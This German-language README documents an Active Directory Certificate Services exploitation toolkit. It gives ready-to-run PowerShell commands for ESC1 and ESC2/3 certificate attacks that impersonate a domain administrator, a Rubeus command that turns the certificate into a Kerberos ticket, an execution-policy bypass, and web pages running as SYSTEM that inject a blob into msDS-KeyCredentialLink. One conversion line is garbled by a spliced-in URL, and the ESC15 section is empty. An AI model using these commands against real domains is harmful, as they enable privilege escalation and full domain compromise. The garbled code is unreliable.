Certi-Bhai: AD CS Exploitation Toolkit

Certi-Bhai ist eine umfassende Sammlung von PowerShell-Exploitation-Tools für Angriffe auf Schwachstellen in Active Directory Certificate Services (AD CS). Dieses Toolkit implementiert verschiedene Eskalationsszenarien (ESCs), die kritische Sicherheitsfehlkonfigurationen in ADCS-Umgebungen demonstrieren.

📋 Inhaltsverzeichnis

• Überblick
• Verzeichnisstruktur
• Voraussetzungen
• Nutzungsanleitung
  • ESC1 - Übermäßig freizügige Zertifikatsvorlage
  • ESC2/3 - Zertifikatsanforderungs-Agent
  • ESC15 - Verwundbare Web-Registrierung
  • CSR-Erzeugung
  • IIS-Privilegieneskalation

🎯 Überblick

Active Directory Certificate Services (AD CS) sind oft fehlkonfiguriert, was mehrere Angriffsvektoren schafft. Certi-Bhai bietet praktische Exploitation-Skripte und Hilfsprogramme für Sicherheitstests und Forschung zu häufigen ADCS-Schwachstellen.

Nur verantwortungsvoll und in autorisierten Testumgebungen verwenden.

✅ Voraussetzungen

• Windows 7 / Windows Server 2008 oder neuer
• PowerShell 3.0+
• In eine Active-Directory-Domäne eingebundenes System
• Entsprechende Berechtigungen zum Anfordern von Zertifikaten
• Zugriff auf die AD-CS-Infrastruktur
• .NET Framework 3.5+ (für ASP.NET-Skripte)

Erforderliche Module

# Active-Directory-Modul (optional, für erweiterte Funktionalität)
Import-Module ActiveDirectory

🚀 Nutzungsanleitung

ESC1: Übermäßig freizügige Zertifikatsvorlage

Schwachstelle: Zertifikatsvorlagen erlauben die Registrierung mit beliebigen SubjectAltName-Werten (SAN).

Funktionsweise: Erstellt ein Zertifikat, das von einer übermäßig freizügigen Vorlage signiert wird, und ermöglicht so die Identitätsübernahme eines beliebigen Benutzers oder Computers in der Domäne.

Nutzung:

# Zum ESC1-Verzeichnis navigieren
cd ESC1

# Das Exploitation-Skript ausführen
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Parameter:

• -subjectName: Vollständiger Distinguished Name (DN) des Zielbenutzers
• -templateName: Name der verwundbaren Zertifikatsvorlage
• -altName: Alternativer Name, der angefordert werden soll (Benutzername/Computer)
• -pfxPass: Passwort für den PFX-Export

Ausgabe: Base64-kodiertes PFX-Zertifikat zur Verwendung mit Tools wie Rubeus

Video-Tutorial: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: Missbrauch des Zertifikatsanforderungs-Agents (Any Purpose/Certificate Request Agent)

Schwachstelle: Zertifikatsanforderungs-Agenten können Zertifikate im Namen beliebiger Benutzer anfordern.

Funktionsweise: Registriert ein Zertifikat als Zertifikatsanforderungs-Agent und fordert anschließend Zertifikate für beliebige Prinzipale an.

Nutzung:

# Zum ESC3-Verzeichnis navigieren
cd ESC3

# Das Exploitation-Skript ausführen
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Parameter:

• -templateName: Verwundbare Anforderungs-Agent-Vorlage
• -target_user: Prinzipal, für den das Zertifikat angefordert werden soll
• -domain: Domänenname
• -pfxPass: PFX-Passwort

Ausgabe: Administrator-Zertifikat (PFX) mit Base64-Kodierung

Video-Tutorial: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: Fehlkonfigurierte Schema-Version-1-Vorlage

Schwachstelle: Application Policy Injection.

CSR-Erzeugung und -Verwaltung

Schnelle CSR-Erzeugung

cd CSR_Generate

# Eine Zertifikatsignieranforderung erzeugen
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

CSR an die Zertifizierungsstelle übermitteln

# CSR an die Zertifizierungsstelle übermitteln
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

IIS-Privilegieneskalation

Zertifikatsverwaltungsschnittstelle

Die Weboberfläche cert.aspx bietet ein benutzerfreundliches Formular zum Anfordern eines Zertifikats vom AD-CS-RPC-Endpunkt:

http://your-iis-server/cert.aspx

LDAP-Update-Schnittstelle

Ändern Sie LDAP-Attribute über die Weboberfläche. Dieses Skript wird im Wesentlichen verwendet, um einen Blob in das Attribut msDS-KeyCredentialLink zu injizieren:

http://your-iis-server/ldap_update.aspx

Funktionen:

• LDAP-Attributfilterung
• Objektänderungsmöglichkeiten
• Ausführung im Kontext von NT Authority\SYSTEM

Schnellreferenz-Befehle

Für ESC1-Exploitation

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

Für ESC2/3-Post-Exploitation

# PFX in ein für Rubeus nutzbares Format konvertieren
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

TGT mit Rubeus anfordern

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Fehlerbehebung

Häufige Probleme

F: Die Skriptausführung wird blockiert

# PowerShell als Administrator ausführen
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

F: Zertifikatsvorlage nicht gefunden

• Überprüfen Sie, ob der Vorlagenname korrekt ist
• Stellen Sie sicher, dass Sie Berechtigungen zum Anfordern von der Vorlage haben
• Prüfen Sie die Protokolle der Zertifizierungsstelle

F: LDAP-Verbindung schlägt fehl

• Überprüfen Sie die Domänenkonnektivität
• Prüfen Sie die Anmeldedaten
• Bestätigen Sie den ADSI-Zugriff

📝 Technische Details

Zertifikatsanforderungsprozess

1. Privaten Schlüssel erzeugen (2048-Bit-RSA)
2. Zertifikatsanforderung erstellen (PKCS#10)
3. Antragstellernamen und Erweiterungen festlegen
4. An die Zertifizierungsstelle übermitteln
5. Ausgestelltes Zertifikat abrufen
6. Als PFX mit Passwort exportieren

🤝 Mitwirken

Einen Fehler gefunden oder Verbesserungsvorschläge? Bitte melden Sie diese verantwortungsvoll.